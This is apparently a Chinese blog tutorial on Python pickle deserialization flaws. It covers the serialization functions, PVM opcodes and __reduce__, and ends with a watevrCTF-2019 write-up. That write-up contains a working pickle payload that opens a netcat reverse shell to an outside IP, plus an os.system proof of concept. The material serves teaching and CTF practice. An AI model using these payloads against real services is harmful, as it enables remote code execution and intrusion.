pickle 反序列化漏洞浅析

pickle 反序列化漏洞浅析

Pickle库及函数

pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为.pkl),不能直接打开进行预览。

函数 说明
dumps 对象反序列化为bytes对象
dump 对象反序列化到文件对象,存入文件
loads 从bytes对象反序列化
load 对象反序列化,从文件中读取数据

先通过几个例子来看下这几个函数的作用:

dump/load

#序列化
pickle.dump(obj, file, protocol=None,)
obj表示要进行封装的对象(必填参数)
file表示obj要写入的文件对象
以二进制可写模式打开即wb(必填参数)
#反序列化
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
file文件中读取封存后的对象
以二进制可读模式打开即rb(必填参数)
import os
import pickle

class orange(object):
    def __init__(self,a,b):
        self.a = a
        self.b = b

if __name__ == '__main__':
    orange1 = orange('1','2')
    print orange1
    print "\n"
    file1 = open('11.txt','wb')
    pickle.dump(orange1,file1)
    file1.close()
    
	os.system("cat 11.txt")
    
    file2 = open('11.txt','rb')
    data = pickle.load(file2)
    file2.close()
	print "\n"
    print data

dumps/loads

#序列化
pickle.dumps(obj, protocol=None,*,fix_imports=True)
dumps()方法不需要写入文件中,直接返回一个序列化的bytes对象。
#反序列化
pickle.loads(bytes_object, *,fix_imports=True, encoding="ASCII". errors="strict")
loads()方法是直接从bytes对象中读取序列化的信息,而非从文件中读取。
import os
import pickle

class orange(object):
    def __init__(self,a,b):
        self.a = a
        self.b = b

if __name__ == '__main__':
    orange1 = orange('1','2')
    print orange1
    print "\n"
    strings = pickle.dumps(orange1)
    print strings
    print "\n"
    data = pickle.loads(strings)
    print(data)

两个python2脚本的执行结果是一样的

<__main__.orange object at 0x7fae5772cf90>


ccopy_reg
_reconstructor
p0
(c__main__
orange
p1
c__builtin__
object
p2
Ntp3
Rp4
(dp5
S'a'
p6
S'1'
p7
sS'b'
p8
S'2'
p9
sb.


<__main__.orange object at 0x7fae57732050>

python2中以字符串的形式进行转换时,这些序列化的字符串是什么意思,又按照什么规则生成的,这就涉及到了PVM,因为它是Python序列化过程和反序列化过程中最根本的东西。

PVM(Python Virtual Machine)

一般来说,我们讨论Python,是将其作为一门编程语言来详解.但是,从实际情况来看,Python也是一个名为解释器的软件包.解释器是可以让程序运行起来一套程序,具有独立性.所以当你写了一段代码之后,Python解释器读取程序,将其转化为命令执行,得出结果.
总的来说,解释器就是代码与计算机硬件之间的软件逻辑层.

PVM的作用

对于Python而言,它可以直接从源代码运行程序。Python解释器会将源代码编译为字节码,然后将编译后的字节码转发到Python虚拟机中执行。总的来说,PVM的作用便是用来解释字节码的解释引擎。

PVM的执行流程

当运行Python程序时,PVM会执行两个步骤。

  1. PVM会把源代码编译成字节码

    字节码是Python特有的一种表现形式,不是二进制机器码,需要进一步编译才能被机器执行 . 如果 Python 进程在主机上有写入权限 , 那么它会把程序字节码保存为一个以 .pyc 为扩展名的文件 . 如果没有写入权限 , 则 Python 进程会在内存中生成字节码 , 在程序执行结束后被自动丢弃 .

  2. Python进程会把编译好的字节码转发到PVM(Python虚拟机)中,PVM会循环迭代执行字节码指令,直到所有操作被完成。

PVM与Pickle模块的关系

Pickle是一门基于栈的编程语言 , 有不同的编写方式 , 其本质就是一个轻量级的 PVM .

这个轻量级的PVM由三部分组成及其功能如下:

  • 指令处理器( Instruction processor )

从数据流中读取操作码和参数 , 并对其进行解释处理 . 指令处理器会循环执行这个过程 , 不断改变 stackmemo区域的值 .直到遇到 .这个结束符号 。这时 , 最终停留在栈顶的的值将会被作为反序列化对象返回 。

  • 栈区( stack )

Python的列表( list)实现 , 作为流数据处理过程中的暂存区 , 在不断的进出栈过程中完成对数据流的反序列化操作,并最终在栈顶生成反序列化的结果

  • 标签区( memo )

Python的字典( dict)实现 , 可以看作是数据索引或者标记 , 为 PVM 的整个生命周期提供存储功能 .简单来说就是将反序列化完成的数据以 key-value的形式储存在memo中,以便使用。

需要重点关注一下指令处理器可读的操作码,列出几个比较重要的:

  1. c: 读取本行的内容作为模块名module, 读取下一行的内容作为对象名object,然后将 module.object作为可调用对象压入到栈中
  2. (: 将一个标记对象压入到栈中 , 用于确定命令执行的位置 . 该标记常常搭配 t 指令一起使用 , 以便产生一个元组
  3. S: 后面跟字符串 , PVM会读取引号中的内容 , 直到遇见换行符 , 然后将读取到的内容压入到栈中
  4. t: 从栈中不断弹出数据 , 弹射顺序与压栈时相同 , 直到弹出左括号 . 此时弹出的内容形成了一个元组 , 然后 , 该元组会被压入栈中
  5. R: 将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用对象的参数并执行该对象 。最后将结果压入到栈中
  6. .: 结束整个 Pickle反序列化过程
ccopy_reg 			#引入copy_reg模块
_reconstructor 		#引入_reconstructor对象
p0 					#p:将栈顶数据(copy_reg._reconstructor)存储在memo中,0是编号
(c__main__ 			#引入__main__模块
orange				#引入orange对象
p1					#将栈顶数据(__main__.orange)存储在memo中,1是编号
c__builtin__		#引入__builtin__模块
object				#引入object对象
p2					#将栈顶数据(__builtin__.object)存储在memo中,2是编号
Ntp3				#依次从栈中弹出数据直到(,此时弹出的数据组成一个元组,最后将该元组入栈
Rp4					#将元组和可调用对象全部弹出并执行,将结果压入栈顶,然后将栈顶数据存储在memo中
					#这里便完成了所有需要的模块和类对象的调用
(dp5				#在栈顶创建一个字典,将memo中的内容转换成键值对并存储在这个字典中
					#然后栈顶(这个字典)存储在memo中,5是编号
S'a'				#创建字符串'a'
p6					#存储在memo中
S'1'				#创建字符串’1‘
p7					#存储在memo中
sS'b'				#s:将'a':'1'作为键值对添加到字典中,创建字符串'b'
p8					#存储在memo中
S'2'				#创建字符串'2'
p9					#存储在memo中
sb.					#将'b':'2'作为键值对添加到字典中,b:调用setstate或者dic.update()更新字典内容
					#读取到.结束pickle序列化过程

整个序列化的过程可以分为三个步骤

  1. 从对象中提权所有属性
  2. 写入对象的所有模块名和类名
  3. 写入对象所有属性的键值对

反序列化的过程就是序列化过程的逆过程。

Pickle/CPickle反序列化漏洞分析

反序列化漏洞出现在 __reduce__()魔法函数上,这一点和PHP中的__wakeup()魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。而这恰好是反序列化漏洞经常出现的地方。

而且在反序列化过程中,因为编程语言需要根据反序列化字符串去解析出自己独特的语言数据结构,所以就必须要在内部把解析出来的结构去执行一下。如果在反序列化过程中出现问题,便可能直接造成RCE漏洞.

另外pickle.loads会解决import问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数都可以进行使用。

最后还是来看一下这个魔法函数

当 __reduce__()函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用 . 第二个元素是可调用对象的参数 , 同样是一个元组。这点跟我们上面提到的PVM中的R操作码功能相似,可以对比下:

R:将之前压入栈中的元组和可调用对象全部弹出 , 然后将该元组作为可调用对象的参数并执行该对象 。最后将结果压入到栈中 

事实上 , R操作码就是 __reduce__()魔术函数的底层实现 . 而在反序列化过程结束的时候 , Python 进程会自动调用 __reduce__()魔术方法 . 如果可以控制被调用函数的参数 , Python 进程就可以执行恶意代码 .

注意:

在python2中只有内置类才有__reduce__方法,即用class A(object)声明的类,而python3中已经默认都是内置类了

漏洞利用

漏洞可能出现的位置:

  1. 解析认证token、session的时候
  2. 将对象Pickle后存储成磁盘文件
  3. 将对象Pickle后在网络中传输
  4. 参数传递给程序

命令执行

import pickle
import os

class Test2(object):
    def __reduce__(self):
    	#被调用函数的参数
        cmd = "/usr/bin/id" 
        return (os.system,(cmd,))

if __name__ == "__main__":
    test = Test2()
    #执行序列化操作
    result1 = pickle.dumps(test)
    #执行反序列化操作
    result2 = pickle.loads(result1)

# __reduce__()魔法方法的返回值:
# return(os.system,(cmd,))
# 1.满足返回一个元组,元组中有两个参数
# 2.第一个参数是被调用函数 : os.system()
# 3.第二个参数是一个元组:(cmd,),元组中被调用的参数 cmd
# 4. 因此序列化时被解析执行的代码是 os.system("/usr/bin/id")

例题 [watevrCTF-2019]Pickle Store

打开环境,我们购买不同东西时session是在变化的

将session进行base64解码

}q(XmoneyqMXhistoryq]qXanti_tamper_hmacqX aa1ba4de55048cf20e0a7a63b7f8eb62qu.

有很明显的关键字,结合题目pickle store,应该是考察pickle反序列化漏洞

import pickle
import base64

session = "gAN9cQAoWAUAAABtb25leXEBTfQBWAcAAABoaXN0b3J5cQJdcQNYEAAAAGFudGlfdGFtcGVyX2htYWNxBFggAAAAYWExYmE0ZGU1NTA0OGNmMjBlMGE3YTYzYjdmOGViNjJxBXUu"
print(pickle.loads(base64.b64decode(session)))   
#{'money': 500, 'history': [], 'anti_tamper_hmac': 'aa1ba4de55048cf20e0a7a63b7f8eb62'}

借助前面所学的知识,我们可以编写反弹shell

import base64
import pickle
import os

class A(object):
    def __reduce__(self):
        cmd = "nc 39.108.113.70 2333 -e/bin/sh"
        return (os.system, (cmd,))
a = A()
print(base64.b64encode(pickle.dumps(a)))
#gASVOgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjB9uYyAzOS4xMDguMTEzLjcwIDIzMzMgLWUvYmluL3NolIWUUpQu

将结果发包,成功回弹了shell,cat flag.txt即可

python3兼容问题

  • 序列化
import pickle


info = pickle.dumps(data, protocol=2)
  • 反序列化
import pickle


data = pickle.loads(info, encoding="utf-8")

参考链接

https://www.freebuf.com/articles/web/252189.html

https://blog.csdn.net/y472360651/article/details/87209589

你可能感兴趣的:(笔记,python)